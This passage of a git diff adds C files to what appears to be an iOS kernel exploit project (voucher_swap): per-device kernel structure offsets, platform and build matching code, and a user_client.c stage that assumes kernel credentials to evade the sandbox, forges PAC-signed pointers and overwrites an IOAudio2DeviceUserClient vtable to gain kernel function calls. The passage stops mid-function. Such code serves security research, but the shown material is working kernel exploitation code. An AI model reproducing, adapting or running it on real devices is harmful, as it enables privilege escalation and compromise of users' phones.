+ OFFSET(ipc_entry, ie_request) = 16;
+
+ SIZE(ipc_port) = 0xa8;
+ BLOCK_SIZE(ipc_port) = 0x4000;
+ OFFSET(ipc_port, ip_bits) = 0;
+ OFFSET(ipc_port, ip_references) = 4;
+ OFFSET(ipc_port, waitq_flags) = 24;
+ OFFSET(ipc_port, imq_messages) = 0x40;
+ OFFSET(ipc_port, imq_msgcount) = 0x50;
+ OFFSET(ipc_port, imq_qlimit) = 0x52;
+ OFFSET(ipc_port, ip_receiver) = 0x60;
+ OFFSET(ipc_port, ip_kobject) = 0x68;
+ OFFSET(ipc_port, ip_nsrequest) = 0x70;
+ OFFSET(ipc_port, ip_requests) = 0x80;
+ OFFSET(ipc_port, ip_mscount) = 0x9c;
+ OFFSET(ipc_port, ip_srights) = 0xa0;
+
+ SIZE(ipc_port_request) = 0x10;
+ OFFSET(ipc_port_request, ipr_soright) = 0;
+
+ OFFSET(ipc_space, is_table_size) = 0x14;
+ OFFSET(ipc_space, is_table) = 0x20;
+
+ SIZE(ipc_voucher) = 0x50;
+ BLOCK_SIZE(ipc_voucher) = 0x4000;
+
+ OFFSET(proc, p_pid) = 0x10;
+ OFFSET(proc, p_ucred) = 0x100;
+ OFFSET(proc, task) = 0x18;
+ OFFSET(proc, p_list) = 0x8;
+
+ SIZE(sysctl_oid) = 0x50;
+ OFFSET(sysctl_oid, oid_parent) = 0x0;
+ OFFSET(sysctl_oid, oid_link) = 0x8;
+ OFFSET(sysctl_oid, oid_kind) = 0x14;
+ OFFSET(sysctl_oid, oid_handler) = 0x30;
+ OFFSET(sysctl_oid, oid_version) = 0x48;
+ OFFSET(sysctl_oid, oid_refcnt) = 0x4c;
+
+ OFFSET(task, lck_mtx_type) = 0xb;
+ OFFSET(task, ref_count) = 0x10;
+ OFFSET(task, active) = 0x14;
+ OFFSET(task, map) = 0x20;
+ OFFSET(task, itk_space) = 0x308;
+ OFFSET(task, bsd_info) = 0x368;
+}
+
+// Initialize offset parameters whose values are computed from other parameters.
+static void
+initialize_computed_offsets() {
+ COUNT_PER_BLOCK(ipc_port) = BLOCK_SIZE(ipc_port) / SIZE(ipc_port);
+ COUNT_PER_BLOCK(ipc_voucher) = BLOCK_SIZE(ipc_voucher) / SIZE(ipc_voucher);
+}
+
+// A list of offset initializations by platform.
+static struct initialization offsets[] = {
+ { "*", "15A5278f-15G77", offsets__iphone9_3__15E302 },
+ { "*", "16A366-16D5024a", offsets__iphone10_1__16B92 },
+ { "iPhone11,*", "16A366-16D5024a", offsets__iphone11_8__16C50 },
+ { "iPad8,*", "16A366-16D5024a", offsets__iphone11_8__16C50 },
+ { "*", "*", initialize_computed_offsets },
+};
+
+// The minimum number of offsets that must match in order to declare a platform initialized.
+static const size_t min_offsets = 2;
+
+// ---- Public API --------------------------------------------------------------------------------
+
+bool
+parameters_init() {
+ // Get general platform info.
+ platform_init();
+ // Initialize general system parameters.
+ run_initializations(system_parameters, ARRAY_COUNT(system_parameters));
+ // Initialize offsets.
+ size_t count = run_initializations(offsets, ARRAY_COUNT(offsets));
+ if (count < min_offsets) {
+ ERROR("no offsets for %s %s", platform.machine, platform.osversion);
+ return false;
+ }
+ return true;
+}
diff --git a/kernel_call/parameters.h b/kernel_call/parameters.h
new file mode 100755
index 0000000..ef15c65
--- /dev/null
+++ b/kernel_call/parameters.h
@@ -0,0 +1,130 @@
+/*
+ * parameters.h
+ * Brandon Azad
+ */
+#ifndef VOUCHER_SWAP__PARAMETERS_H_
+#define VOUCHER_SWAP__PARAMETERS_H_
+
+#include <stdbool.h>
+#include <stddef.h>
+#include <stdint.h>
+
+#ifdef PARAMETERS_EXTERN
+#define extern PARAMETERS_EXTERN
+#endif
+
+// Some helpful units.
+#define KB (1024uLL)
+#define MB (1024uLL * KB)
+#define GB (1024uLL * MB)
+
+// Generate the name for an offset.
+#define OFFSET(base_, object_) _##base_##__##object_##__offset_
+
+// Generate the name for the size of an object.
+#define SIZE(object_) _##object_##__size_
+
+// Generate the name for the size of a zalloc block of objects.
+#define BLOCK_SIZE(object_) _##object_##__block_size_
+
+// Generate the name for the number of elements in a zalloc block.
+#define COUNT_PER_BLOCK(object_) _##object_##__per_block_
+
+// Generate the name for the address of an object.
+#define ADDRESS(object_) _##object_##__address_
+
+// Generate the name for the static (unslid) address of an object.
+#define STATIC_ADDRESS(object_) _##object_##__static_address_
+
+// A convenience macro for accessing a field of a structure.
+#define FIELD(object_, struct_, field_, type_) \
+ ( *(type_ *) ( ((uint8_t *) object_) + OFFSET(struct_, field_) ) )
+
+// The static base address of the kernel.
+extern uint64_t STATIC_ADDRESS(kernel_base);
+
+// The kernel_slide granularity.
+extern uint64_t kernel_slide_step;
+
+// Messages up to this size are allocated from the dedicated ipc.kmsgs zone.
+extern size_t message_size_for_kmsg_zone;
+
+// The size of elements in ipc.kmsgs.
+extern size_t kmsg_zone_size;
+
+// The maximum number of OOL ports in a single message.
+extern size_t max_ool_ports_per_message;
+
+// How much to allocate between sleeps while trying to trigger garbage collection.
+extern size_t gc_step;
+
+// Parameters for ipc_entry.
+extern size_t SIZE(ipc_entry);
+extern size_t OFFSET(ipc_entry, ie_object);
+extern size_t OFFSET(ipc_entry, ie_bits);
+extern size_t OFFSET(ipc_entry, ie_request);
+
+// Parameters for ipc_port.
+extern size_t SIZE(ipc_port);
+extern size_t BLOCK_SIZE(ipc_port);
+extern size_t COUNT_PER_BLOCK(ipc_port);
+extern size_t OFFSET(ipc_port, ip_bits);
+extern size_t OFFSET(ipc_port, ip_references);
+extern size_t OFFSET(ipc_port, waitq_flags);
+extern size_t OFFSET(ipc_port, imq_messages);
+extern size_t OFFSET(ipc_port, imq_msgcount);
+extern size_t OFFSET(ipc_port, imq_qlimit);
+extern size_t OFFSET(ipc_port, ip_receiver);
+extern size_t OFFSET(ipc_port, ip_kobject);
+extern size_t OFFSET(ipc_port, ip_nsrequest);
+extern size_t OFFSET(ipc_port, ip_requests);
+extern size_t OFFSET(ipc_port, ip_mscount);
+extern size_t OFFSET(ipc_port, ip_srights);
+
+// Parameters for ipc_port_request.
+extern size_t SIZE(ipc_port_request);
+extern size_t OFFSET(ipc_port_request, ipr_soright);
+
+// Parameters for struct ipc_space.
+extern size_t OFFSET(ipc_space, is_table_size);
+extern size_t OFFSET(ipc_space, is_table);
+
+// Parameters for ipc_voucher.
+extern size_t SIZE(ipc_voucher);
+extern size_t BLOCK_SIZE(ipc_voucher);
+extern size_t COUNT_PER_BLOCK(ipc_voucher);
+
+// Parameters for struct proc.
+extern size_t OFFSET(proc, p_pid);
+extern size_t OFFSET(proc, p_ucred);
+extern size_t OFFSET(proc, task);
+extern size_t OFFSET(proc, p_list);
+
+// Parameters for struct sysctl_oid.
+extern size_t SIZE(sysctl_oid);
+extern size_t OFFSET(sysctl_oid, oid_parent);
+extern size_t OFFSET(sysctl_oid, oid_link);
+extern size_t OFFSET(sysctl_oid, oid_kind);
+extern size_t OFFSET(sysctl_oid, oid_handler);
+extern size_t OFFSET(sysctl_oid, oid_version);
+extern size_t OFFSET(sysctl_oid, oid_refcnt);
+
+// Parameters for struct task.
+extern size_t OFFSET(task, lck_mtx_type);
+extern size_t OFFSET(task, ref_count);
+extern size_t OFFSET(task, active);
+extern size_t OFFSET(task, map);
+extern size_t OFFSET(task, itk_space);
+extern size_t OFFSET(task, bsd_info);
+
+/*
+ * parameters_init
+ *
+ * Description:
+ * Initialize the parameters for the system.
+ */
+bool parameters_init(void);
+
+#undef extern
+
+#endif
diff --git a/kernel_call/platform.c b/kernel_call/platform.c
new file mode 100755
index 0000000..6ced006
--- /dev/null
+++ b/kernel_call/platform.c
@@ -0,0 +1,54 @@
+/*
+ * platform.c
+ * Brandon Azad
+ */
+#define PLATFORM_EXTERN
+#include "platform.h"
+
+#include <assert.h>
+#include <mach/mach.h>
+#include <sys/sysctl.h>
+#include <sys/utsname.h>
+
+#include "log.h"
+
+// ---- Initialization ----------------------------------------------------------------------------
+
+void
+platform_init() {
+ // Only initialize once.
+ static bool initialized = false;
+ if (initialized) {
+ return;
+ }
+ initialized = true;
+ // Set the page size.
+ platform.page_size = vm_kernel_page_size;
+ page_size = platform.page_size;
+ // Get the machine name (e.g. iPhone11,8).
+ struct utsname u = {};
+ int error = uname(&u);
+ assert(error == 0);
+ strncpy((char *)platform.machine, u.machine, sizeof(platform.machine));
+ // Get the build (e.g. 16C50).
+ size_t osversion_size = sizeof(platform.osversion);
+ error = sysctlbyname("kern.osversion",
+ (void *)platform.osversion, &osversion_size, NULL, 0);
+ assert(error == 0);
+ // Get basic host info.
+ mach_port_t host = mach_host_self();
+ assert(MACH_PORT_VALID(host));
+ host_basic_info_data_t basic_info;
+ mach_msg_type_number_t count = HOST_BASIC_INFO_COUNT;
+ kern_return_t kr = host_info(host, HOST_BASIC_INFO, (host_info_t) &basic_info, &count);
+ assert(kr == KERN_SUCCESS);
+ platform.cpu_type = basic_info.cpu_type;
+ platform.cpu_subtype = basic_info.cpu_subtype;
+ platform.physical_cpu = basic_info.physical_cpu;
+ platform.logical_cpu = basic_info.logical_cpu;
+ platform.memory_size = basic_info.max_mem;
+ INFO("memory_size: %zu", platform.memory_size);
+ mach_port_deallocate(mach_task_self(), host);
+ // Log basic platform info.
+ DEBUG_TRACE(1, "platform: %s %s", platform.machine, platform.osversion);
+}
diff --git a/kernel_call/platform.h b/kernel_call/platform.h
new file mode 100755
index 0000000..87ab62e
--- /dev/null
+++ b/kernel_call/platform.h
@@ -0,0 +1,99 @@
+/*
+ * platform.h
+ * Brandon Azad
+ */
+#ifndef VOUCHER_SWAP__PLATFORM_H_
+#define VOUCHER_SWAP__PLATFORM_H_
+
+#include <stdbool.h>
+#include <mach/machine.h>
+
+#ifdef PLATFORM_EXTERN
+#define extern PLATFORM_EXTERN
+#endif
+
+/*
+ * platform
+ *
+ * Description:
+ * Basic information about the platform.
+ */
+struct platform {
+ /*
+ * platform.machine
+ *
+ * Description:
+ * The name of the platform, e.g. iPhone11,8.
+ */
+ const char machine[32];
+ /*
+ * platform.osversion
+ *
+ * Description:
+ * The version of the OS build, e.g. 16C50.
+ */
+ const char osversion[32];
+ /*
+ * platform.cpu_type
+ *
+ * Description:
+ * The platform CPU type.
+ */
+ cpu_type_t cpu_type;
+ /*
+ * platform.cpu_subtype
+ *
+ * Description:
+ * The platform CPU subtype.
+ */
+ cpu_subtype_t cpu_subtype;
+ /*
+ * platform.physical_cpu
+ *
+ * Description:
+ * The number of physical CPU cores.
+ */
+ unsigned physical_cpu;
+ /*
+ * platform.logical_cpu
+ *
+ * Description:
+ * The number of logical CPU cores.
+ */
+ unsigned logical_cpu;
+ /*
+ * platform.page_size
+ *
+ * Description:
+ * The kernel page size.
+ */
+ size_t page_size;
+ /*
+ * platform.memory_size
+ *
+ * Description:
+ * The size of physical memory on the device.
+ */
+ size_t memory_size;
+};
+extern struct platform platform;
+
+/*
+ * page_size
+ *
+ * Description:
+ * The kernel page size on this platform, made available globally for convenience.
+ */
+extern size_t page_size;
+
+/*
+ * platform_init
+ *
+ * Description:
+ * Initialize the platform.
+ */
+void platform_init(void);
+
+#undef extern
+
+#endif
diff --git a/kernel_call/platform_match.c b/kernel_call/platform_match.c
new file mode 100755
index 0000000..8226be5
--- /dev/null
+++ b/kernel_call/platform_match.c
@@ -0,0 +1,346 @@
+/*
+ * platform_match.c
+ * Brandon Azad
+ */
+#include "platform_match.h"
+
+#include <assert.h>
+#include <string.h>
+
+#include "log.h"
+#include "platform.h"
+
+// ---- Matching helper functions -----------------------------------------------------------------
+
+// Advance past any spaces in a string.
+static void
+skip_spaces(const char **p) {
+ const char *pch = *p;
+ while (*pch == ' ') {
+ pch++;
+ }
+ *p = pch;
+}
+
+// ---- Device matching ---------------------------------------------------------------------------
+
+// A wildcard device version number.
+#define ANY ((unsigned)(-1))
+
+// Parse the version part of a device string.
+static bool
+parse_device_version_internal(const char *device_version, unsigned *major, unsigned *minor,
+ bool allow_wildcard, const char **end) {
+ const char *p = device_version;
+ // Parse the major version, which might be a wildcard.
+ unsigned maj = 0;
+ if (allow_wildcard && *p == '*') {
+ maj = ANY;
+ p++;
+ } else {
+ for (;;) {
+ char ch = *p;
+ if (ch < '0' || '9' < ch) {
+ break;
+ }
+ maj = maj * 10 + (ch - '0');
+ p++;
+ }
+ }
+ // Make sure we got the comma.
+ if (*p != ',') {
+ return false;
+ }
+ p++;
+ // Parse the minor version, which might be a wildcard.
+ unsigned min = 0;
+ if (allow_wildcard && *p == '*') {
+ min = ANY;
+ p++;
+ } else {
+ for (;;) {
+ char ch = *p;
+ if (ch < '0' || '9' < ch) {
+ break;
+ }
+ min = min * 10 + (ch - '0');
+ p++;
+ }
+ }
+ // If end is NULL, then require that we're at the end of the string. Else, return the end
+ // of what we parsed.
+ if (end == NULL) {
+ if (*p != 0) {
+ return false;
+ }
+ } else {
+ *end = p;
+ }
+ // Return the values.
+ *major = maj;
+ *minor = min;
+ return true;
+}
+
+// Parse a device name.
+static bool
+parse_device_internal(const char *device, char *device_type, unsigned *major, unsigned *minor,
+ bool allow_wildcard, const char **end) {
+ // "iPhone11,8" -> "iPhone", 11, 8; "iPad7,*" -> "iPad", 7, ANY
+ // If this device name doesn't have a comma then we don't know how to parse it. Just set
+ // the whole thing as the device type.
+ const char *comma = strchr(device, ',');
+ if (comma == NULL) {
+unknown:
+ strcpy(device_type, device);
+ *major = 0;
+ *minor = 0;
+ return false;
+ }
+ // Walk backwards from the comma to the start of the major version.
+ if (comma == device) {
+ goto unknown;
+ }
+ const char *p = comma;
+ for (;;) {
+ char ch = *(p - 1);
+ if (!(('0' <= ch && ch <= '9') || (allow_wildcard && ch == '*'))) {
+ break;
+ }
+ p--;
+ if (p == device) {
+ goto unknown;
+ }
+ }
+ if (p == comma) {
+ goto unknown;
+ }
+ size_t device_type_length = p - device;
+ // Parse the version numbers.
+ bool ok = parse_device_version_internal(p, major, minor, allow_wildcard, end);
+ if (!ok) {
+ goto unknown;
+ }
+ // Return the device_type string. This is last in case it's shared with the device string.
+ strncpy(device_type, device, device_type_length);
+ device_type[device_type_length] = 0;
+ return true;
+}
+
+// Parse a device name.
+static bool
+parse_device(const char *device, char *device_type, unsigned *major, unsigned *minor) {
+ return parse_device_internal(device, device_type, major, minor, false, NULL);
+}
+
+// Parse a device range string.
+static bool
+parse_device_range(const char *device, char *device_type,
+ unsigned *min_major, unsigned *min_minor,
+ unsigned *max_major, unsigned *max_minor,
+ const char **end) {
+ char dev_type[32];
+ const char *next = device;
+ // First parse a full device.
+ bool ok = parse_device_internal(next, dev_type, min_major, min_minor, true, &next);
+ if (!ok) {
+unknown:
+ strcpy(device_type, device);
+ *min_major = 0;
+ *min_minor = 0;
+ *max_major = 0;
+ *max_minor = 0;
+ return false;
+ }
+ // Optionally parse a separator and more versions.
+ if (*next == 0) {
+ *max_major = *min_major;
+ *max_minor = *min_minor;
+ } else if (*next == '-') {
+ next++;
+ ok = parse_device_version_internal(next, max_major, max_minor, true, &next);
+ if (!ok) {
+ goto unknown;
+ }
+ }
+ *end = next;
+ // Return the device_type.
+ strcpy(device_type, dev_type);
+ return true;
+}
+
+// Check if the given device number is numerically within range.
+static bool
+numerical_device_match(unsigned major, unsigned minor,
+ unsigned min_major, unsigned min_minor, unsigned max_major, unsigned max_minor) {
+ if (major < min_major && min_major != ANY) {
+ return false;
+ }
+ if ((major == min_major || min_major == ANY)
+ && minor < min_minor && min_minor != ANY) {
+ return false;
+ }
+ if (major > max_major && max_major != ANY) {
+ return false;
+ }
+ if ((major == max_major || max_major == ANY)
+ && minor > max_minor && max_minor != ANY) {
+ return false;
+ }
+ return true;
+}
+
+// Match a specific device against a device match list.
+static bool
+match_device(const char *device, const char *devices) {
+ if (devices == NULL || strcmp(devices, "*") == 0) {
+ return true;
+ }
+ // Parse this device.
+ char device_type[32];
+ unsigned major, minor;
+ parse_device(device, device_type, &major, &minor);
+ // Parse the match list.
+ const char *next = devices;
+ while (*next != 0) {
+ // Parse the next device range.
+ char match_device_type[32];
+ unsigned min_major, min_minor, max_major, max_minor;
+ parse_device_range(next, match_device_type, &min_major, &min_minor,
+ &max_major, &max_minor, &next);
+ if (*next != 0) {
+ skip_spaces(&next);
+ assert(*next == '|');
+ next++;
+ skip_spaces(&next);
+ assert(*next != 0);
+ }
+ // Check if this is a match.
+ if (strcmp(device_type, match_device_type) == 0
+ && numerical_device_match(major, minor,
+ min_major, min_minor, max_major, max_minor)) {
+ return true;
+ }
+ }
+ return false;
+}
+
+// ---- Build matching ----------------------------------------------------------------------------
+
+// Parse a build version string into a uint64_t. Maintains comparison order.
+static uint64_t
+parse_build_version(const char *build, const char **end) {
+ // 16A5288q -> [2 bytes][1 byte][3 bytes][1 byte]
+ const char *p = build;
+ // Parse out the major number.
+ uint64_t major = 0;
+ for (;;) {
+ char ch = *p;
+ if (ch < '0' || '9' < ch) {
+ break;
+ }
+ major = major * 10 + (ch - '0');
+ p++;
+ }
+ // Parse out the minor.
+ uint64_t minor = 0;
+ for (;;) {
+ char ch = *p;
+ if (ch < 'A' || 'Z' < ch) {
+ break;
+ }
+ minor = (minor << 8) + ch;
+ p++;
+ }
+ // Parse out the patch.
+ uint64_t patch = 0;
+ for (;;) {
+ char ch = *p;
+ if (ch < '0' || '9' < ch) {
+ break;
+ }
+ patch = patch * 10 + (ch - '0');
+ p++;
+ }
+ // Parse out the alpha.
+ uint64_t alpha = 0;
+ for (;;) {
+ char ch = *p;
+ if (ch < 'a' || 'z' < ch) {
+ break;
+ }
+ alpha = (alpha << 8) + ch;
+ p++;
+ }
+ // Construct the full build version.
+ if (end != NULL) {
+ *end = p;
+ }
+ return ((major << (8 * 5))
+ | (minor << (8 * 4))
+ | (patch << (8 * 1))
+ | (alpha << (8 * 0)));
+}
+
+// Parse a build version range string.
+static void
+parse_build_version_range(const char *builds, uint64_t *version_min, uint64_t *version_max) {
+ const char *next = builds;
+ uint64_t min, max;
+ // Parse the lower range.
+ if (*next == '*') {
+ min = 0;
+ next++;
+ } else {
+ min = parse_build_version(next, &next);
+ }
+ // Parse the upper range (if it exists).
+ if (*next == 0) {
+ assert(min != 0);
+ max = min;
+ } else {
+ skip_spaces(&next);
+ assert(*next == '-');
+ next++;
+ skip_spaces(&next);
+ if (*next == '*') {
+ max = (uint64_t)(-1);
+ next++;
+ } else {
+ max = parse_build_version(next, &next);
+ }
+ assert(*next == 0);
+ }
+ *version_min = min;
+ *version_max = max;
+}
+
+// Check if the given build version string matches the build range.
+static bool
+match_build(const char *build, const char *builds) {
+ if (builds == NULL || strcmp(builds, "*") == 0) {
+ return true;
+ }
+ uint64_t version = parse_build_version(build, NULL);
+ uint64_t version_min, version_max;
+ parse_build_version_range(builds, &version_min, &version_max);
+ return (version_min <= version && version <= version_max);
+}
+
+// ---- Public API --------------------------------------------------------------------------------
+
+bool
+platform_matches_device(const char *device_range) {
+ return match_device(platform.machine, device_range);
+}
+
+bool
+platform_matches_build(const char *build_range) {
+ return match_build(platform.osversion, build_range);
+}
+
+bool
+platform_matches(const char *device_range, const char *build_range) {
+ return platform_matches_device(device_range)
+ && platform_matches_build(build_range);
+}
diff --git a/kernel_call/platform_match.h b/kernel_call/platform_match.h
new file mode 100755
index 0000000..18479a8
--- /dev/null
+++ b/kernel_call/platform_match.h
@@ -0,0 +1,62 @@
+/*
+ * platform_match.h
+ * Brandon Azad
+ */
+#ifndef VOUCHER_SWAP__PLATFORM_MATCH_H_
+#define VOUCHER_SWAP__PLATFORM_MATCH_H_
+
+#include <stdbool.h>
+
+/*
+ * platform_matches_device
+ *
+ * Description:
+ * Check whether the current platform matches the specified device or range of devices.
+ *
+ * Match format:
+ * The match string may either specify a single device glob or a range of device globs. For
+ * example:
+ *
+ * "iPhone11,8" Matches only iPhone11,8
+ * "iPhone11,*" Matches all iPhone11 devices, including e.g. iPhone11,4.
+ * "iPhone*,*" Matches all iPhone devices.
+ * "iPhone11,4-iPhone11,8" Matches all iPhone devices between 11,4 and 11,8, inclusive.
+ * "iPhone10,*-11,*" Matches all iPhone10 and iPhone11 devices.
+ *
+ * As a special case, "*" matches all devices.
+ */
+bool platform_matches_device(const char *device_range);
+
+/*
+ * platform_matches_build
+ *
+ * Description:
+ * Check whether the current platform matches the specified build version or range of build
+ * versions.
+ *
+ * Match format:
+ * The match string may either specify a single build version or a range of build versions.
+ * For example:
+ *
+ * "16C50" Matches only build 16C50.
+ * "16B92-16C50" Matches all builds between 16B92 and 16C50, inclusive.
+ *
+ * As a special case, either build version may be replaced with "*" to indicate a lack of
+ * lower or upper bound:
+ *
+ * "*-16B92" Matches all builds up to and including 16B92.
+ * "16C50-*" Matches build 16C50 and later.
+ * "*" Matches all build versions.
+ */
+bool platform_matches_build(const char *build_range);
+
+/*
+ * platform_matches
+ *
+ * Description:
+ * A convenience function that combines platform_matches_device() and
+ * platform_matches_build().
+ */
+bool platform_matches(const char *device_range, const char *build_range);
+
+#endif
diff --git a/kernel_call/user_client.c b/kernel_call/user_client.c
new file mode 100755
index 0000000..24f5f57
--- /dev/null
+++ b/kernel_call/user_client.c
@@ -0,0 +1,363 @@
+/*
+ * kernel_call/user_client.c
+ * Brandon Azad
+ */
+#include "user_client.h"
+
+#include <assert.h>
+
+#include "IOKitLib.h"
+#include "kernel_call.h"
+#include "kc_parameters.h"
+#include "pac.h"
+#include "kernel_memory.h"
+#include "kernel_slide.h"
+#include "log.h"
+#include "mach_vm.h"
+#include "parameters.h"
+
+// ---- Global variables --------------------------------------------------------------------------
+
+// The connection to the user client.
+static io_connect_t connection;
+
+// The address of the user client.
+static uint64_t user_client;
+
+// The address of the IOExternalTrap.
+static uint64_t trap;
+
+// The size of our kernel buffer.
+static const size_t kernel_buffer_size = 0x4000;
+
+// The address of our kernel buffer.
+static uint64_t kernel_buffer;
+
+// The maximum size of the vtable.
+static const size_t max_vtable_size = 0x1000;
+
+// The user client's original vtable pointer.
+static uint64_t original_vtable;
+
+// ---- Stage 1 -----------------------------------------------------------------------------------
+
+/*
+ * kernel_get_proc_for_task
+ *
+ * Description:
+ * Get the proc struct for a task.
+ */
+static uint64_t
+kernel_get_proc_for_task(uint64_t task) {
+ return kernel_read64(task + OFFSET(task, bsd_info));
+}
+
+/*
+ * stage0_create_user_client
+ *
+ * Description:
+ * Create a connection to an IOAudio2DeviceUserClient object.
+ */
+static bool
+stage0_create_user_client() {
+ bool success = false;
+ // First get a handle to some IOAudio2Device driver.
+ io_iterator_t iter;
+ kern_return_t kr = IOServiceGetMatchingServices(
+ kIOMasterPortDefault,
+ IOServiceMatching("IOAudio2Device"),
+ &iter);
+ if (iter == MACH_PORT_NULL) {
+ ERROR("could not find services matching %s", "IOAudio2Device");
+ goto fail_0;
+ }
+ // Assume the kernel's credentials in order to look up the user client. Otherwise we'd be
+ // denied with a sandbox error.
+ uint64_t ucred_field, ucred;
+ assume_kernel_credentials(&ucred_field, &ucred);
+ // Now try to open each service in turn.
+ for (;;) {
+ // Get the service.
+ mach_port_t IOAudio2Device = IOIteratorNext(iter);
+ if (IOAudio2Device == MACH_PORT_NULL) {
+ ERROR("could not open any %s", "IOAudio2Device");
+ break;
+ }
+ // Now open a connection to it.
+ kr = IOServiceOpen(
+ IOAudio2Device,
+ mach_task_self(),
+ 0,
+ &connection);
+ IOObjectRelease(IOAudio2Device);
+ if (kr == KERN_SUCCESS) {
+ success = true;
+ break;
+ }
+ DEBUG_TRACE(2, "%s returned 0x%x: %s", "IOServiceOpen", kr, mach_error_string(kr));
+ DEBUG_TRACE(2, "could not open %s", "IOAudio2DeviceUserClient");
+ }
+ // Restore the credentials.
+ restore_credentials(ucred_field, ucred);
+fail_1:
+ IOObjectRelease(iter);
+fail_0:
+ return success;
+}
+
+/*
+ * stage0_find_user_client_trap
+ *
+ * Description:
+ * Get the address of the IOAudio2DeviceUserClient and its IOExternalTrap.
+ */
+static void
+stage0_find_user_client_trap() {
+ assert(MACH_PORT_VALID(connection));
+ // Get the address of the port representing the IOAudio2DeviceUserClient.
+ uint64_t user_client_port;
+ bool ok = kernel_ipc_port_lookup(current_task, connection, &user_client_port, NULL);
+ assert(ok);
+ // Get the address of the IOAudio2DeviceUserClient.
+ user_client = kernel_read64(user_client_port + OFFSET(ipc_port, ip_kobject));
+ // Get the address of the IOExternalTrap.
+ trap = kernel_read64(user_client + OFFSET(IOAudio2DeviceUserClient, traps));
+ DEBUG_TRACE(2, "%s is at 0x%016llx", "IOExternalTrap", trap);
+}
+
+/*
+ * stage0_allocate_kernel_buffer
+ *
+ * Description:
+ * Allocate a buffer in kernel memory.
+ */
+static bool
+stage0_allocate_kernel_buffer() {
+ kern_return_t kr = mach_vm_allocate(kernel_task_port, &kernel_buffer,
+ kernel_buffer_size, VM_FLAGS_ANYWHERE);
+ if (kr != KERN_SUCCESS) {
+ ERROR("%s returned %d: %s", "mach_vm_allocate", kr, mach_error_string(kr));
+ ERROR("could not allocate kernel buffer");
+ return false;
+ }
+ DEBUG_TRACE(1, "allocated kernel buffer at 0x%016llx", kernel_buffer);
+ return true;
+}
+
+// ---- Stage 3 -----------------------------------------------------------------------------------
+
+/*
+ * kernel_read_vtable_method
+ *
+ * Description:
+ * Read the virtual method pointer at the specified index in the vtable.
+ */
+static uint64_t
+kernel_read_vtable_method(uint64_t vtable, size_t index) {
+ uint64_t vmethod_address = vtable + index * sizeof(uint64_t);
+ return kernel_read64(vmethod_address);
+}
+
+/*
+ * stage2_copyout_user_client_vtable
+ *
+ * Description:
+ * Copy out the user client's vtable to userspace. The returned array must be freed when no
+ * longer needed.
+ */
+static uint64_t *
+stage2_copyout_user_client_vtable() {
+ // Get the address of the vtable.
+ original_vtable = kernel_read64(user_client);
+ uint64_t original_vtable_xpac = kernel_xpacd(original_vtable);
+ // Read the contents of the vtable to local buffer.
+ uint64_t *vtable_contents = malloc(max_vtable_size);
+ assert(vtable_contents != NULL);
+ kernel_read(original_vtable_xpac, vtable_contents, max_vtable_size);
+ return vtable_contents;
+}
+
+/*
+ * stage2_patch_user_client_vtable
+ *
+ * Description:
+ * Patch the contents of the user client's vtable in preparation for stage 3.
+ */
+static size_t
+stage2_patch_user_client_vtable(uint64_t *vtable) {
+ // Replace the original vtable's IOUserClient::getTargetAndTrapForIndex() method with the
+ // original version (which calls IOUserClient::getExternalTrapForIndex()).
+ uint64_t IOUserClient__getTargetAndTrapForIndex = kernel_read_vtable_method(
+ ADDRESS(IOUserClient__vtable),
+ VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex));
+ vtable[VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex)]
+ = IOUserClient__getTargetAndTrapForIndex;
+ // Replace the original vtable's IOUserClient::getExternalTrapForIndex() method with
+ // IORegistryEntry::getRegistryEntryID().
+ vtable[VTABLE_INDEX(IOUserClient, getExternalTrapForIndex)] =
+ ADDRESS(IORegistryEntry__getRegistryEntryID);
+ // Forge the pacia pointers to the virtual methods.
+ size_t count = 0;
+ for (; count < max_vtable_size / sizeof(*vtable); count++) {
+ uint64_t vmethod = vtable[count];
+ if (vmethod == 0) {
+ break;
+ }
+#if __arm64e__
+ assert(count < VTABLE_PAC_CODES(IOAudio2DeviceUserClient).count);
+ vmethod = kernel_xpaci(vmethod);
+ uint64_t vmethod_address = kernel_buffer + count * sizeof(*vtable);
+ vtable[count] = kernel_forge_pacia_with_type(vmethod, vmethod_address,
+ VTABLE_PAC_CODES(IOAudio2DeviceUserClient).codes[count]);
+#endif // __arm64e__
+ }
+ return count;
+}
+
+/*
+ * stage2_patch_user_client
+ *
+ * Description:
+ * Patch the user client in preparation for stage 3.
+ */
+static void
+stage2_patch_user_client(uint64_t *vtable, size_t count) {
+ // Write the vtable to the kernel buffer.
+ kernel_write(kernel_buffer, vtable, count * sizeof(*vtable));
+ // Overwrite the user client's registry entry ID to point to the IOExternalTrap.
+ uint64_t reserved_field = user_client + OFFSET(IORegistryEntry, reserved);
+ uint64_t reserved = kernel_read64(reserved_field);
+ uint64_t id_field = reserved + OFFSET(IORegistryEntry__ExpansionData, fRegistryEntryID);
+ kernel_write64(id_field, trap);
+ // Forge the pacdza pointer to the vtable.
+ uint64_t vtable_pointer = kernel_forge_pacda(kernel_buffer, 0);
+ // Overwrite the user client's vtable pointer with the forged pointer to our fake vtable.
+ kernel_write64(user_client, vtable_pointer);
+}
+
+/*
+ * stage2_unpatch_user_client
+ *
+ * Description:
+ * Undo the patches to the user client.
+ */
+static void
+stage2_unpatch_user_client() {
+ // Write the original vtable pointer back to the user client.
+ kernel_write64(user_client, original_vtable);
+}
+
+// ---- API ---------------------------------------------------------------------------------------
+
+bool
+stage1_kernel_call_init() {
+ // Initialize the parameters. We do this first to fail early.
+ bool ok = kernel_call_parameters_init();
+ if (!ok) {
+ return false;
+ }
+ // Create the IOAudio2DeviceUserClient.
+ ok = stage0_create_user_client();
+ if (!ok) {
+ ERROR("could not create %s", "IOAudio2DeviceUserClient");
+ return false;
+ }
+ // Find the IOAudio2DeviceUserClient's IOExternalTrap.
+ stage0_find_user_client_trap();
+ // Allocate the kernel buffer.
+ ok = stage0_allocate_kernel_buffer();
+ if (!ok) {
+ return false;
+ }
+ return true;
+}
+
+void
+stage1_kernel_call_deinit() {
+ if (trap != 0) {
+ // Zero out the trap.
+ uint8_t trap_data[SIZE(IOExternalTrap)];
+ memset(trap_data, 0, SIZE(IOExternalTrap));
+ kernel_write(trap, trap_data, SIZE(IOExternalTrap));
+ trap = 0;
+ }
+ if (kernel_buffer != 0) {
+ // Deallocate our kernel buffer.
+ mach_vm_deallocate(mach_task_self(), kernel_buffer, kernel_buffer_size);
+ kernel_buffer = 0;
+ }
+ if (MACH_PORT_VALID(connection)) {
+ // Close the connection.
+ IOServiceClose(connection);
